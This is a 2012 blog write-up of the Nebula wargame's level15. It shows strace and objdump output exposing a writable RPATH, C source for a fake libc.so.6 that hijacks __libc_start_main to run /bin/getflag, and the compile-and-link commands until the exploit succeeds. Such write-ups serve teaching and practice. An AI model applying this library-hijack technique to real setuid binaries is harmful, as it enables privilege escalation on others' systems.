Friday, November 2, 2012

exploit-exercises Nebula: level15

level15 of Nebula wargame, was actually a tricky challenge. We are told to strace flag15 to spot anything out of the ordinary, look for how to compile shared libraries and review dlopen(3) man page in depth. When strace'ing the binary, we see a lot of misses at the library loading time under /var/tmp/flag15.
level15@nebula:~$ strace ../flag15/flag15 
execve("../flag15/flag15", ["../flag15/flag15"], [/* 18 vars */]) = 0
brk(0)                                  = 0x9c76000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb780b000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbfea6524) = -1 ENOENT (No such file or directory)open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)stat64("/var/tmp/flag15/tls/i686/sse2", 0xbfea6524) = -1 ENOENT (No such file or directory)open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)stat64("/var/tmp/flag15/tls/i686/cmov", 0xbfea6524) = -1 ENOENT (No such file or directory)<snip>
Investigating this matter (and why the binary is searching under /var/tmp/flag15) leads us to finding that it was linked with a specific RPATH value.
level15@nebula:~$ objdump -p /home/flag15/flag15 | grep RPATH
  RPATH                /var/tmp/flag15
And we have write access to /var/tmp, it becomes clear that we should add a fake libc.so under /var/tmp/flag15. A first try looked like this:
level15@nebula:/var/tmp/flag15$ cat pwn15.c 
#include <unistd.h>
int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * *
ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void
(* stack_end)) {
 
execl("/bin/getflag", (char *)NULL, (char *)NULL);
   }
i.e hijacking __libc_start_main to run /bin/getflag
level15@nebula:/var/tmp/flag15$ gcc -fPIC -g -c pwn15.c
level15@nebula:/var/tmp/flag15$ gcc pwn15.o -shared -o libc.so.6
level15@nebula:/var/tmp/flag15$ /home/flag15/flag15 

/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol __cxa_finalize, c in file libc.so.6 with link time reference
After investigating the matter, I came with the idea of using version script when linking
level15@nebula:/var/tmp/flag15$ cat verscript 
GLIBC_2.0 {
};
level15@nebula:/var/tmp/flag15$ gcc -fPIC -g -c pwn15.c
level15@nebula:/var/tmp/flag15$ gcc -shared -Wl,--version-script,verscript -o libc.so.6 pwn.o
level15@nebula:/var/tmp/flag15$ /home/flag15/flag15

/home/flag15/flag15: /var/tmp/flag15/libc.so.6: version `GLIBC_2.1.3' not found (required by /var/tmp/flag15/libc.so.6)
Checking with ld(1)'s options and specifically the -Bstatic option.
level15@nebula:/var/tmp/flag15$ gcc -shared -Wl,--version-script,verscript,-Bstatic -o libc.so.6 pwn.o -static-libgcc
level15@nebula:/var/tmp/flag15$ /home/flag15/flag15
You have successfully executed getflag on a target account

No comments:

Post a Comment